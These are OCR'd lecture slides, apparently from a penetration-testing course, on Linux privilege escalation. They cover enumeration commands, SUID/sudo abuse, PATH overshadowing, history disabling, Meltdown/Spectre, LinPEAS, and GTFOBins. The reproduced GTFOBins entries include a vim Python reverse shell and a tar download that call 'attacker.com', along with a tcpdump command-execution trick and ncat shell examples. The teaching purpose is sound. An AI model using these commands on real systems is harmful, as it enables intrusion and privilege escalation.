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Appliance to import

Please choose the source to import appliance from. This can be a local file system to import OVF archive or
one of known cloud service providers to import cloud VM from.

Source: Local File System v

Please choose a file to import the virtual appliance from. VirtualBox currently supports importing appliances
saved in the Open Virtualization Format (OVF). To continue, select the file to import below.

File: C:\Users\HB\Desktop\tc-vm-03_rc06.oval 12

Expert Mode Back Cancel

Disk Crypto: FnkEYWVb2YHtHD1oUoY9Rosqg




MITRE ATT&CK

Enterprise Matrix

Privilege Escalation
13 techniques

Below are the tactics and techniques representing the MITRE ATT&CK® Matrix for Enterprise. The Matrix contains information for the following platforms: Window
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Privilege Escalation

Increase permissions
and capabillities
= General execution

rarely enough for end-
goals

Take advantage of
internal surface
Includes admin user

acct but not limited

Local administrator
Non-root admin acct

Non-admin acct w/ any
advantage
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System Capabilities & Devices ?Aﬁ:..‘

|dentify disks and lsblk
partitions




System Capabilities & Devices .'AT
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|dentify disks and fdisk -1
partitions

Determine local and
remote filesystems




System Capabilities & Devices .'AT
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|dentify disks and ifconfig -a
partitions

Determine local and
remote filesystems

Attached networks
whether in-use or not




System Capabilities & Devices .'AT
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|dentify disks and cat /proc/cpuinfo
partitions

Determine local and
remote filesystems

Attached networks
whether in-use or not

CPU info



Microarchitecture
Side-Channels

MELTI;OWN SP E CTR E



Background:

Out-of-Order CPU Execution

Out-of-Order Execution is when things
aren’t actually executed in a logical order.
Compilers re-arrange when values are

loaded to share across code-paths

CPU pipelines re-arrange instructions to
minimize L1-3 cache vs. RAM latency
A single CPU core will execute
instructions concurrently to use internal
components at full-capacity



Meltdown

= User-space process
IS able to read kernel
memory

« Race condition:
= Throw access error
= Operate on memory

0 = Cache leaks result of

MELTDOWN unexpected operation



Background: y AN
: A

Branch Prediction S~

Branch Prediction is a form of speculative
execution used by CPUs to improve
performance by pre-executing instructions.

Based on many things but most straight-
forward is the last time it ran the code

If predict right: free execution time

If predict wrong: abandon and ignore

= Keeps track of what values depend on check



Spectre Vulnerability

= Can read other
process’s memory

= Cache Collision

0 = Train predictor
= Trigger prediction

= QOperate on value
before realize incorrect

S PE CTRE = Cache leaks result of
illogical operation



Linux Kernel

= Resource Manager

for processes,
memory, storage,

etc

1 Linux OS

Hardware




Principle of Complete Mediation A‘l
N 4

The Principle of Complete Mediation is
having a trusted entity validate any privilege
use to ensure its validity.

OS validates user X can run app Y

OS ensures that only apps with network
permissions use the network



Linux Kernel

= Resource manager for
processes, memory,

System User User Comiler
Sto rag e etC Software Process Utility P
, L[]

= Mediates resource System Libraries
access

= Architectural partition
between “kernel-space” Linux OS
and “user-space” I

= Kernel-space: Direct, on-

demand access to
resources

= User-space: Interact with Hardware
resources via kernel
interaction



Linux Kernel

Resource manager for
processes, memory,

storage, etc. System Compilr
Mediates resource access A
Architectural partition
between “kernel-space”
and “user-space”
= Kernel-space: Direct, on- Linux OS
demand access to resources
= User-space: Interact with I
resources via kernel

interaction

Kernel-space processes Hardware
execute with root
permissions



Kernel Exploitation

Numerous well-
known kernel vulns

The Top 10 Linux Kernel Vulnerabilities
You Should Know

Legacy systems are
not limited to
Windows

« Embedded and loT are
infamous




Kernel Versioning

Target the core of the operating system

Common commands to identify kernel
related information

= cat /proc/version

“ uname —a

[+]

https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits




Sudo Makes Sandwiches

= Like everything else, sudo can have vuins

“ sudo -V | grep "Sudo ver" | grep
"1I\.[01234567]\.[0-
9T\+\]1\.8\.1[0-
OT\*\|1\.8\.2[01234567]"

[+] Sudo versiol .
https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-version

https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suic

£ l I
https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid




SUID & SGID bits

setuid setgid

Executable with Executable with
permissions of the permissions of the
owner user owner group

Inter 1] L Le
[+] ID - eck e ive exploit ite pe
https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid

[+]

https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid




Service Acct vs. User Acct ?Aﬁ;..‘
N\ 4

Service Account
Entity to accomplish
specific, enumerated
tasks

Permissions are
limited to those tasks

Usually don't allow
direct log-in
= Local or remote

User Account
Digital representative
of a human being

Permissions are
scoped to intended &

predicted tasks

Usually allow local
and remote login



User Permission Tracking

3 permission bits per object (RWX)

user@desktop:~$ 1ls -1
d rwx rwx --- 1 user user 4096 Apr 2 15:56
- rw- rw- r-- 1 user user © Apr 11 04:15 test.py

Owner " Group ~ Others
d rwx rwx --- 1 user faculty 4096 Dec 28 21:09

Each object has an “owner” and a group
Only owner can change the permissions
Or' group __\_J_" $ 1s -1

- 1 user faculty 302 Apr 11 04:15 main.py

lesktop:~$% chmod 751 main.py
odesktop:~$ chgrp adm main.py
USel ;\;U,,QJ top: $ 1s -1
- PWX r-xX r-x 1 user adm 302 Apr 11 04:15 main.py




Processes as User Accounts A‘l
N <

Processes permissions are nearly identical
but slightly different security mechanism.

Process inherits user permissions (default)

= Effective User ID (EUID)

= Effective Group ID (GUID)
EUID/GUID can be set manually:

= sudo, setuid, sq, ...

= Requires root user



Installed Software & Services AT
N\~ /4

What databases are being used?
What frameworks are being used?




Installed Software & Services A‘l
N\~ /4

What databases are being used?

What frameworks are being used?
What software is already installed for use?
What jobs are already scheduled/running?

Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-unix/privilege-escalation#processes




Compilers & Interpreters AT

N~ 4

Compilers and interpreters are extremely
useful due to arbitrary functionality

= Compilers: clang, gcc, clang++, g++, etc

= Interpreters: perl, python, irb



Compilers & Interpreters ?Aﬁ;..‘l

N~ 4

Compilers and interpreters are extremely
useful due to arbitrary functionality

= Compilers: clang, gcc, clang++, g++, etc
Reflections on Trusting Trust

- I t To what extent should one trust a statement that a program is free of Trojan
n erp re horses? Perhaps it is more important to trust the people who wrote the

software.

KEN THOMPSON




Environment Variables

Linux and Windows
use EVs for
configuration of
Interactive
environment

Disable shell history:

HISTFILESIZE=0

SPATH variable
contains ordered
locations to search
for executable

= First found will be
executed

Can be used to
“‘overshadow” the
original executable



*PEAS & GTFOBIns

) [‘sionin ) GTFOBIns #s v

GTFOBiIns is a curated list of Unix binaries that can be used to bypass local

security restrictions in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused #
**k break out restricted shells, escalate or maintain elevated

pnwleges transfer files, spawn bind and reverse shells, and facilitate the
other post-exploitation tasks.

PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)

It is important to note that this is not a list of exploits, and the programs listed here are not
vulnerable per se, rather, GTFOBIns is a compendium about how to live off the land when you
only have certain binaries available.

Notifications GTFOBiIns is a collaborative project created by Emilio Pinna and Andrea Cardaci where
everyone can contribute with additional binaries and techniques.
Issues {18 Pull requests 2 Actions Projects If you are looking for Windows binaries you should visit LOLBAS.

master Go to file <> Code ~

[ Shell ][ Command ][ Reverse shell ” Non-interactive reverse shell ][ Bind shell ]

[ Non-interactive bind shell H File upload ][ File download ][ File write ][ File read ]
[ Library load ][ SuUID ][ Sudo ][ Capabilities ][ Limited SUID ]

README License

PEASS-ng - PriViIege Escalation Search among 390 binaries: <binary> +<function> ...
Awesome Scripts SUITE new generation

Binary Functions

7z
aa—-exec

ab [ File upload |[ File download |[ SUID || Sudo |
agetty

alpine
l_ancihloonlavbool  [SpaillSiao]

Black Arch Arch ‘AUR| Black Hat Arsenal Asia 2020




PEASS-ng - Privilege Escalation
Awesome Scripts SUITE new generation

“Linux/Win Privilege

Escalation Awesome

Script”
LInPEAS/WInPEAS

Automated local
config scanner

Provides hints as to
things that may be
worth looking at



*PEAS & GTFOBIns

~=—

[+] Cleaned processes i -
Check weird & unexp [+_]- Sudo \Jij'g.l‘ﬁlJ : S g
https://book.hacktricks. XYZ/llnux un1x/pr1v1lege escalation#sudo-version
# ht£p;1//b°°k‘hath’le5 xYZ/llﬂle unlx/pr1v1lege escalatlon#sudo and-suid
[+] Checking sudo tokens

[+] Services

https://book.hacktricks.xyz/linux
Search for outdated versions

-unix/privilege-escalation#sudo-and-suid

Interesting Files
[+] SUID - ChecKk eas ploits and write perms

https //book. hacktrlcks xyz/llnux unix/privilege-escalation#sudo-and-suid

FEASS-Ng - FrIV

Awesome Scripty | oo connection using default root

[+] SGID

https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid

Black Arch Arch 'AUR| Black Hat Ars¢

[+] Postgr



GTFOBIns

Doesn’t stand for
anything per docs

Provides primitives
for accomplishing
other, larger actions

Curated list of Linux’s
non-obvious features
and/or usages

GTFOBins ¢ Star 11,273

GTFOBiIns is a curated list of Unix binaries that can be used to bypass local

security restrictions in misconfigured systems.

The project collects legitimate functions of Unix binaries that can be abused #
**k break out restricted shells, escalate or maintain elevated

prlwleges transfer files, spawn bind and reverse shells, and facilitate the
other post-exploitation tasks.

It is important to note that this is not a list of exploits, and the programs listed here are not
vulnerable per se, rather, GTFOBIns is a compendium about how to live off the land when you
only have certain binaries available.

GTFOBiIns is a collaborative project created by Emilio Pinna and Andrea Cardaci where
everyone can contribute with additional binaries and techniques.

If you are looking for Windows binaries you should visit LOLBAS.

[ Shell ][ Command ][ Reverse shell ][ Non-interactive reverse shell ][ Bind shell ]

 Non-interactive bind shell |( File upload |( File download || File write | File read |
( Library load |[ SUID | Sudo |( Capabilities |( Limited SUID |

Search among 390 binaries: <binary> +<function> ...

Binary Functions

72

aa-exec

ab [ File upload |[ File download |[ SUID || Sudo |
agetty

alpine

L _ancihlaonlavhaoolk  [shenllsidol




GTFOBIns

an /tar ¥¢ Star 11,277

| Shell || File upload || File download || File write || File read || Sudo || Limited SUID

| File download

It can download remote files.

This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the rmt
utility installed (it should be present by default in Debian-like distributions).

RHOST=attacker.com

RUSER=root

RFILE=/tmp/file_to_get.tar

tar xvf $RUSER@$RHOST:$RFILE —-rsh—-command=/bin/ssh




GTFOBIns

u/thdump ¥¢ Star 11,277

|Connnand||Sudo|

These require some traffic to be actually captured. Also note that the subprocess is immediately sent to the
background.

In recent distributions (e.g., Debian 10 and Ubuntu 18) AppArmor limits the postrotate-command to a small
subset of predefined commands thus preventing the execution of the following.

Command

It can be used to break out from restricted environments by running non-interactive system commands.

COMMAND="1id"

TF=$(mktemp)

echo "$COMMAND" > $TF

chmod +x $TF

tcpdump -ln -i 1o -w /dev/null -W 1 -G 1 -z $TF




GTFOBIns

.n /Vim 1?7 star 11,277

| Shell || Reverse shell || Non-interactive reverse shell || Non-interactive bind shell || File upload || File download || File write || File read

| Library load || SUID || Sudo || Capabilities || Limited SUID |

Reverse shell

It can send back a reverse shell to a listening attacker to open a remote network access.

This requires that vim is compiled with Python support. Prepend :py3 for Python 3. Run socat
file: tty',raw,echo=0 tcp-listen:12345 on the attacker box to receive the shell.

export RHOST=attacker.com

export RPORT=12345

vim -c ':py import vim,sys,socket,os,pty;s=socket.socket()
s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

vim.command(":q!")"




For Hands-On -

\ Notifications

Download re po .
to Kali VM and e

| elile .
compile e

git clone https://github.com/peass-ng/PEASS-ng.git
cd PEASS-ng/1inPEAS/
python3 -m builder.linpeas_builder --all --output linpeas.sh

REQUIRES INTERNET CONNECTION TO COMPILE
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W Oracle VM Virt

Appliance to import

tc-vm-03_ Please choose the source to import appliance from. This can be a local file system to import OVF archive or
, @ Powered one of known cloud service providers to import cloud VM from.

Source: Local File System vl |

5%?

tc-vm-03_
, @) Powered
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testing-3-1
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Disk Crypto: FnkEYWVb2YHtHD1oUoY9Rosqg



Per-Startup Kali Config

When connecting to the local VM, have to
setup Kali networking every fime you boot.

1fconfig ethO down

= Stop auto-detect
1fconfig eth0O 192.168.66.XXX
netmask 255.255.255.0

= Set Kali VM’s IP address
ip route add 192.168.66.0/24
dev ethO

= Tell Kali how to route to imported VM (1x only)
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Via Command/Scriptin /AN
A

Interpreters -—r

Often called “shells”

Usually interact with via network
connection either intended or not

Direct Shell: SSH

Forward/Bind Shell @ [T\
- €—— 1771 =0

Reverse/ “Callback” 7 9
© =

Shell

192.168.100.10 192.168.100.200

ncat -1lvp 5000 NCAT

ncat X.10 5000



